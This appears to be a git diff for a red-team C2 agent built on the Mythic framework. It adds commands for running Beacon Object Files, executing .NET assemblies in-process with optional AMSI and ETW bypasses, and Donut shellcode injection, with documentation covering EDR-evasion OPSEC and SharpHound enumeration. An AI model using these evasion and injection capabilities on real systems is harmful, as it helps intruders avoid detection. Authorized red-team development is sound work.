taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
|
||||
taskData.args.remove_arg("assembly_file")
|
||||
|
||||
elif groupName == "Default":
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("assembly_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
|
||||
|
||||
taskData.args.remove_arg("assembly_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments"),
|
||||
taskData.args.get_arg("patch_exit"),
|
||||
taskData.args.get_arg("amsi"),
|
||||
taskData.args.get_arg("etw")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
|
||||
# Get the file contents of the .NET assembly ( base64 ( assembly bytes ) )
|
||||
assembly_contents = await SendMythicRPCFileGetContent(
|
||||
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
|
||||
)
|
||||
|
||||
# Arguments depend on the BOF
|
||||
file_name = "inline-ea.x64.o"
|
||||
arguments = [
|
||||
[
|
||||
"bytes",
|
||||
assembly_contents.Content.hex() # Raw bytes of Assembly
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
len(assembly_contents.Content) # Assembly length
|
||||
],
|
||||
[
|
||||
"wchar",
|
||||
taskData.args.get_arg("assembly_arguments") # Assembly argument string
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("patch_exit") # BOOL
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("amsi") # BOOL
|
||||
],
|
||||
[
|
||||
"int32",
|
||||
taskData.args.get_arg("etw") # BOOL
|
||||
]
|
||||
|
||||
]
|
||||
|
||||
# Run inline_execute subtask
|
||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||
MythicRPCTaskCreateSubtaskMessage(
|
||||
taskData.Task.ID,
|
||||
CommandName="inline_execute",
|
||||
SubtaskCallbackFunction="coff_completion_callback",
|
||||
Params=json.dumps({
|
||||
"bof_name": file_name,
|
||||
"bof_arguments": arguments
|
||||
}),
|
||||
Token=taskData.Task.TokenID,
|
||||
)
|
||||
)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -10,3 +10,7 @@ pyaml
|
||||
async-timeout==4.0.3
|
||||
charset_normalizer==3.3.2
|
||||
pycryptodome==3.19.0
|
||||
|
||||
# Optional dependencies:
|
||||
# donut-shellcode - Required only for execute_assembly command
|
||||
# Install with: pip install donut-shellcode
|
||||
@@ -38,7 +38,11 @@ commands = {
|
||||
# Added Reverse Port Forward commands
|
||||
"start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
|
||||
"stop_rpfwd": {"hex_code": 0x63, "input_type": None},
|
||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
|
||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
|
||||
# BOF and Assembly execution commands
|
||||
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
|
||||
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
|
||||
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
|
||||
}
|
||||
|
||||
def responseTasking(tasks):
|
||||
@@ -209,6 +213,56 @@ def responseTasking(tasks):
|
||||
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "bof_special":
|
||||
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||
file_id = parameters.get("bof_file", "")
|
||||
|
||||
data = command_code + task_id
|
||||
# Add file_id
|
||||
file_id_bytes = file_id.encode('utf-8')
|
||||
data += len(file_id_bytes).to_bytes(4, "big")
|
||||
data += file_id_bytes
|
||||
|
||||
# Add BOF arguments (serialized)
|
||||
bof_args = parameters.get("bof_arguments", [])
|
||||
args_str = json.dumps(bof_args) if bof_args else ""
|
||||
args_bytes = args_str.encode('utf-8')
|
||||
data += len(args_bytes).to_bytes(4, "big")
|
||||
data += args_bytes
|
||||
|
||||
task_size = len(data)
|
||||
dataTask += task_size.to_bytes(4, "big") + data
|
||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "assembly_special":
|
||||
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
|
||||
# For execute_assembly, it also uses subtasks
|
||||
# These commands are handled via subtasks in Python, so they may not reach here directly
|
||||
# But we'll handle them if they do
|
||||
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
|
||||
|
||||
data = command_code + task_id
|
||||
# Add file_id
|
||||
if file_id:
|
||||
file_id_bytes = file_id.encode('utf-8')
|
||||
data += len(file_id_bytes).to_bytes(4, "big")
|
||||
data += file_id_bytes
|
||||
else:
|
||||
data += (0).to_bytes(4, "big")
|
||||
|
||||
# Add assembly arguments
|
||||
assembly_args = parameters.get("assembly_arguments", "")
|
||||
args_bytes = assembly_args.encode('utf-8') if assembly_args else b""
|
||||
data += len(args_bytes).to_bytes(4, "big")
|
||||
data += args_bytes
|
||||
|
||||
task_size = len(data)
|
||||
dataTask += task_size.to_bytes(4, "big") + data
|
||||
print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}")
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
|
||||
print(f"[TRANSLATOR] dataHead: {len(dataHead)} bytes")
|
||||
|
||||
@@ -1078,10 +1078,29 @@ def postResponse(data):
|
||||
# No more markers
|
||||
break
|
||||
|
||||
try:
|
||||
decoded_output = output.decode('cp850')
|
||||
except Exception as e:
|
||||
print(f"Fallo al decodificar la salida: {e}")
|
||||
# Try to decode output - BOFs on Windows typically use Windows-1252 (cp1252) for Spanish characters
|
||||
# Try Windows-1252 first (for Windows BOF output with special chars like ñ, ó, etc.)
|
||||
# Then try UTF-8, then cp850 (legacy agent output), then latin-1 as last resort
|
||||
decoded_output = None
|
||||
for encoding in ['cp1252', 'utf-8', 'cp850', 'latin-1']:
|
||||
try:
|
||||
decoded_output = output.decode(encoding, errors='replace')
|
||||
# If we successfully decoded with Windows-1252 or UTF-8, use it
|
||||
if encoding in ['cp1252', 'utf-8']:
|
||||
# Check if there are replacement characters - if too many, try next encoding
|
||||
replacement_count = decoded_output.count('\ufffd')
|
||||
if replacement_count == 0 or (replacement_count < len(decoded_output) * 0.01):
|
||||
# Less than 1% replacement chars, probably correct encoding
|
||||
break
|
||||
else:
|
||||
# For cp850 and latin-1, use if no replacement chars or as fallback
|
||||
if '\ufffd' not in decoded_output or encoding == 'latin-1':
|
||||
break
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
if decoded_output is None:
|
||||
print(f"Fallo al decodificar la salida con todas las codificaciones intentadas")
|
||||
decoded_output = "[ERROR DECODIFICANDO]"
|
||||
|
||||
task_id_str = uuidTask.decode('cp850')
|
||||
|
||||
@@ -199,6 +199,9 @@ For more information, see the [Mythic documentation on customizing public agents
|
||||
| `shell` | Execute shell command | `shell whoami` |
|
||||
| `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` |
|
||||
| `exit` | Terminate the implant | `exit` |
|
||||
| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
|
||||
| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
|
||||
| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` |
|
||||
|
||||
### System Information
|
||||
|
||||
|
||||
@@ -16,6 +16,7 @@ Complete documentation for all Cazalla agent commands.
|
||||
- [Token Operations](#token-operations)
|
||||
- [Network Tunneling](#network-tunneling)
|
||||
- [System Operations](#system-operations)
|
||||
- [Code Execution](#code-execution)
|
||||
- [Control Commands](#control-commands)
|
||||
|
||||
---
|
||||
@@ -789,6 +790,145 @@ desktop-abc\administrator
|
||||
|
||||
---
|
||||
|
||||
## Code Execution
|
||||
|
||||
### `inline_execute` - Execute Beacon Object File (BOF)
|
||||
|
||||
Execute a Beacon Object File (BOF) in the current process thread and capture its output.
|
||||
|
||||
**Syntax:**
|
||||
```
|
||||
inline_execute -BOF <bof_file> [-Arguments <arguments>]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`)
|
||||
- `bof_file` (required for new uploads): A new BOF file to upload and execute
|
||||
- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF
|
||||
|
||||
**Argument Types:**
|
||||
- `int16:123` or `-s:123` - 16-bit integer
|
||||
- `int32:1234` or `-i:1234` - 32-bit integer
|
||||
- `string:hello` or `-z:hello` - Null-terminated string
|
||||
- `wchar:hello` or `-Z:hello` - Wide character string
|
||||
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
inline_execute -BOF whoami.x64.o
|
||||
inline_execute -BOF listmods.x64.o -Arguments int32:1234
|
||||
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
|
||||
```
|
||||
|
||||
**Features:**
|
||||
- In-memory execution: BOFs are executed directly in the current process memory without creating new processes
|
||||
- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
|
||||
- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
|
||||
- Output capture: Automatically captures and returns BOF output
|
||||
- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64)
|
||||
|
||||
**Output:**
|
||||
```
|
||||
[inline_execute] BOF execution requested
|
||||
[inline_execute] File ID: abc123...
|
||||
[BOF Output]
|
||||
Module Name: ntdll.dll
|
||||
Base Address: 0x7ffa12340000
|
||||
```
|
||||
|
||||
**OPSEC Considerations:**
|
||||
- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged
|
||||
- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions
|
||||
- API hooking: Some EDR solutions monitor API calls that BOFs make
|
||||
- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
|
||||
- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
|
||||
|
||||
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
### `inline_execute_assembly` - Execute .NET Assembly In-Process
|
||||
|
||||
Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).
|
||||
|
||||
**Syntax:**
|
||||
```
|
||||
inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
||||
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
|
||||
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
|
||||
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
|
||||
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite`
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
||||
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
|
||||
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw
|
||||
```
|
||||
|
||||
**Features:**
|
||||
- In-process execution: Executes .NET assemblies in the current process without spawning new processes
|
||||
- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
|
||||
- ETW bypass: Optional ETW bypass via EAT hooking
|
||||
- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
|
||||
- Output capture: Automatically captures and returns assembly output
|
||||
- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
|
||||
|
||||
**OPSEC Considerations:**
|
||||
- Process Create artifact: Assembly execution creates a "Process Create" artifact
|
||||
- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions
|
||||
- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections
|
||||
- ETW bypass: EAT hooking may be detected by advanced EDR solutions
|
||||
- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly`
|
||||
|
||||
**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
### `execute_assembly` - Execute .NET Assembly in Remote Process
|
||||
|
||||
Execute a .NET Assembly in a remote process and retrieve its output.
|
||||
|
||||
**Syntax:**
|
||||
```
|
||||
execute_assembly -Assembly <assembly_file> -Arguments <args>
|
||||
```
|
||||
|
||||
**Parameters:**
|
||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
||||
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
||||
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
|
||||
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
|
||||
```
|
||||
|
||||
**Features:**
|
||||
- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut
|
||||
- Process injection: Injects shellcode into a target process (defaults to current process)
|
||||
- Output capture: Captures and returns assembly output
|
||||
- No file system: Assembly is executed entirely in memory without writing to disk
|
||||
|
||||
**OPSEC Considerations:**
|
||||
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
|
||||
- Shellcode injection: Donut shellcode injection may trigger behavioral detections
|
||||
- Process Create artifact: Creates a "Process Create" artifact
|
||||
- Memory scanning: Injected shellcode may be scanned by EDR memory protection
|
||||
- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
|
||||
- Donut detection: Donut shellcode patterns may be detected by advanced security solutions
|
||||
|
||||
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
### `screenshot` - Capture Screenshot
|
||||
|
||||
Capture a screenshot of the primary desktop display and upload it to the Mythic server.
|
||||
|
||||
@@ -40,7 +40,12 @@ Complete documentation for all Cazalla agent commands, organized by category.
|
||||
- [`screenshot`](screenshot.md) - Capture desktop screenshot
|
||||
- [`keylog_start`](keylog_start.md) - Start keylogger
|
||||
- [`keylog_stop`](keylog_stop.md) - Stop keylogger
|
||||
- [`browser_info`](browser_info.md) - Identify installed browsers
|
||||
|
||||
## Code Execution
|
||||
|
||||
- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
|
||||
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
||||
|
||||
## Control Commands
|
||||
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# execute_assembly - Execute .NET Assembly in Remote Process
|
||||
|
||||
Execute a .NET Assembly in a remote process and retrieve its output.
|
||||
|
||||
## Description
|
||||
|
||||
The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned.
|
||||
|
||||
## Syntax
|
||||
|
||||
```
|
||||
execute_assembly -Assembly <assembly_file> -Arguments <args>
|
||||
```
|
||||
|
||||
## Parameters
|
||||
|
||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
||||
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
|
||||
|
||||
## Examples
|
||||
|
||||
```
|
||||
# Execute assembly with arguments
|
||||
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
||||
|
||||
# Execute Seatbelt with all checks
|
||||
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
|
||||
|
||||
# Execute SharpHound for domain enumeration
|
||||
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut
|
||||
- **Process Injection**: Injects shellcode into a target process (defaults to current process)
|
||||
- **Output Capture**: Captures and returns assembly output
|
||||
- **No File System**: Assembly is executed entirely in memory without writing to disk
|
||||
|
||||
## How It Works
|
||||
|
||||
1. The command retrieves the .NET assembly from Mythic
|
||||
2. The assembly is converted to shellcode using Donut
|
||||
3. A subtask is created to call `inject_shellcode` with the generated shellcode
|
||||
4. The shellcode is injected into the target process
|
||||
5. The .NET assembly is loaded and executed in the target process
|
||||
6. Output is captured and returned to Mythic
|
||||
|
||||
## Output
|
||||
|
||||
```
|
||||
[execute_assembly] Converting .NET Assembly to Shellcode...
|
||||
[execute_assembly] Shellcode generated: 123456 bytes
|
||||
[execute_assembly] Injecting shellcode into process...
|
||||
[Assembly Output]
|
||||
SharpUp execution started...
|
||||
[*] Checking for insecure file permissions...
|
||||
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
||||
```
|
||||
|
||||
## OPSEC Considerations
|
||||
|
||||
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
|
||||
- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections
|
||||
- **Process Create Artifact**: Creates a "Process Create" artifact
|
||||
- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection
|
||||
- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
|
||||
- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions
|
||||
|
||||
## Technical Details
|
||||
|
||||
### Donut Integration
|
||||
|
||||
The command uses Donut to convert .NET assemblies to position-independent shellcode:
|
||||
- Automatically handles .NET assembly loading
|
||||
- Supports .NET Framework and .NET Core assemblies
|
||||
- Generates position-independent shellcode
|
||||
- Handles assembly dependencies
|
||||
|
||||
### Process Injection
|
||||
|
||||
The shellcode injection process:
|
||||
1. Shellcode is generated from the .NET assembly
|
||||
2. Shellcode is registered as a temporary file in Mythic
|
||||
3. `inject_shellcode` command is called via subtask
|
||||
4. Shellcode is injected into the target process
|
||||
5. Assembly executes and output is captured
|
||||
|
||||
## Error Handling
|
||||
|
||||
The command handles various error scenarios:
|
||||
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved
|
||||
- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode
|
||||
- **Injection Failure**: Returns error if shellcode cannot be injected
|
||||
- **Execution Failure**: Returns error if assembly fails to execute
|
||||
|
||||
## Related
|
||||
|
||||
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC)
|
||||
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
|
||||
- [Artifacts Support](../features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
**Command Category:** Execution & Control
|
||||
**Requires Admin:** No (unless injecting into protected process)
|
||||
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
# inline_execute - Execute Beacon Object File (BOF)
|
||||
|
||||
Execute a Beacon Object File (BOF) in the current process thread and capture its output.
|
||||
|
||||
## Description
|
||||
|
||||
The `inline_execute` command loads and executes a COFF (Common Object File Format) file, commonly known as a Beacon Object File (BOF), directly in the memory of the current process. BOFs are lightweight, position-independent code objects that can be executed without creating new processes, making them useful for stealthy operations.
|
||||
|
||||
## Syntax
|
||||
|
||||
```
|
||||
inline_execute -BOF <bof_file> [-Arguments <arguments>]
|
||||
```
|
||||
|
||||
## Parameters
|
||||
|
||||
- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`)
|
||||
- `bof_file` (required for new uploads): A new BOF file to upload and execute
|
||||
- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF
|
||||
|
||||
### Argument Types
|
||||
|
||||
BOF arguments can be specified using the following format:
|
||||
- `int16:123` or `-s:123` - 16-bit integer
|
||||
- `int32:1234` or `-i:1234` - 32-bit integer
|
||||
- `string:hello` or `-z:hello` - Null-terminated string
|
||||
- `wchar:hello` or `-Z:hello` - Wide character string
|
||||
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
|
||||
|
||||
## Examples
|
||||
|
||||
```
|
||||
# Execute a BOF with no arguments
|
||||
inline_execute -BOF whoami.x64.o
|
||||
|
||||
# Execute a BOF with integer argument
|
||||
inline_execute -BOF listmods.x64.o -Arguments int32:1234
|
||||
|
||||
# Execute a BOF with multiple arguments
|
||||
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
|
||||
|
||||
# Upload and execute a new BOF
|
||||
inline_execute -BOF custom_bof.x64.o -Arguments int32:5678
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
|
||||
- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
|
||||
- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
|
||||
- **Output Capture**: Automatically captures and returns BOF output
|
||||
- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64)
|
||||
|
||||
## Output
|
||||
|
||||
```
|
||||
[inline_execute] BOF execution requested
|
||||
[inline_execute] File ID: abc123...
|
||||
[inline_execute] Arguments: int32:1234
|
||||
[BOF Output]
|
||||
Module Name: ntdll.dll
|
||||
Base Address: 0x7ffa12340000
|
||||
Size: 0x1f0000
|
||||
```
|
||||
|
||||
## OPSEC Considerations
|
||||
|
||||
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged
|
||||
- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions
|
||||
- **API Hooking**: Some EDR solutions monitor API calls that BOFs make
|
||||
- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
|
||||
- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
|
||||
|
||||
## Technical Details
|
||||
|
||||
### COFF Loader
|
||||
|
||||
The COFF loader implementation:
|
||||
- Supports x64 COFF files (IMAGE_FILE_MACHINE_AMD64)
|
||||
- Handles relocations (IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_ADDR32NB, IMAGE_REL_AMD64_REL32)
|
||||
- Resolves internal Beacon API functions
|
||||
- Resolves external symbols via LoadLibraryA/GetProcAddress
|
||||
- Maps sections with PAGE_EXECUTE_READWRITE permissions
|
||||
|
||||
### Beacon API Compatibility
|
||||
|
||||
The following Beacon API functions are supported:
|
||||
- `BeaconPrintf` - Formatted output
|
||||
- `BeaconOutput` - Raw output
|
||||
- `BeaconDataParse` - Parse input data
|
||||
- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
|
||||
- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
|
||||
- `BeaconIsAdmin` - Admin check
|
||||
|
||||
## Error Handling
|
||||
|
||||
The command handles various error scenarios:
|
||||
- **File Not Found**: Returns error if BOF file cannot be retrieved from Mythic
|
||||
- **Invalid COFF**: Returns error if file is not a valid COFF or unsupported architecture
|
||||
- **Symbol Resolution Failure**: Warns if external symbols cannot be resolved
|
||||
- **Execution Failure**: Returns error if BOF entry point cannot be found or execution fails
|
||||
|
||||
## Related
|
||||
|
||||
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
|
||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
||||
- [Artifacts Support](../features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
**Command Category:** Execution & Control
|
||||
**Requires Admin:** No
|
||||
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/)
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
# inline_execute_assembly - Execute .NET Assembly In-Process
|
||||
|
||||
Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).
|
||||
|
||||
## Description
|
||||
|
||||
The `inline_execute_assembly` command executes a .NET assembly directly in the current process memory using the Inline-EA BOF developed by @EricEsquivel. This method loads and executes .NET assemblies without creating new processes, providing better OPSEC than traditional process spawning methods.
|
||||
|
||||
## Syntax
|
||||
|
||||
```
|
||||
inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]
|
||||
```
|
||||
|
||||
## Parameters
|
||||
|
||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
||||
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
|
||||
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
|
||||
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
|
||||
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately
|
||||
|
||||
## Examples
|
||||
|
||||
```
|
||||
# Execute assembly with arguments
|
||||
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
||||
|
||||
# Execute with AMSI and ETW bypass
|
||||
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
|
||||
|
||||
# Execute with all bypasses enabled
|
||||
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
|
||||
- **AMSI Bypass**: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
|
||||
- **ETW Bypass**: Optional ETW bypass via EAT hooking
|
||||
- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
|
||||
- **Output Capture**: Automatically captures and returns assembly output
|
||||
- **BOF-Based**: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
|
||||
|
||||
## How It Works
|
||||
|
||||
1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF
|
||||
2. The .NET assembly is passed to the BOF as raw bytes
|
||||
3. The BOF loads the assembly into memory using .NET CLR APIs
|
||||
4. Optional bypasses (AMSI, ETW) are applied if requested
|
||||
5. The assembly's entry point is executed with the provided arguments
|
||||
6. Output is captured and returned to Mythic
|
||||
|
||||
## Output
|
||||
|
||||
```
|
||||
[inline_execute_assembly] Assembly execution requested
|
||||
[BOF Output from Inline-EA]
|
||||
SharpUp execution started...
|
||||
[*] Checking for insecure file permissions...
|
||||
[*] Checking for unquoted service paths...
|
||||
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
||||
```
|
||||
|
||||
## OPSEC Considerations
|
||||
|
||||
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact
|
||||
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
|
||||
- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections
|
||||
- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions
|
||||
- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly`
|
||||
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned
|
||||
|
||||
## Technical Details
|
||||
|
||||
### Inline-EA BOF
|
||||
|
||||
This command uses the Inline-EA BOF developed by @EricEsquivel:
|
||||
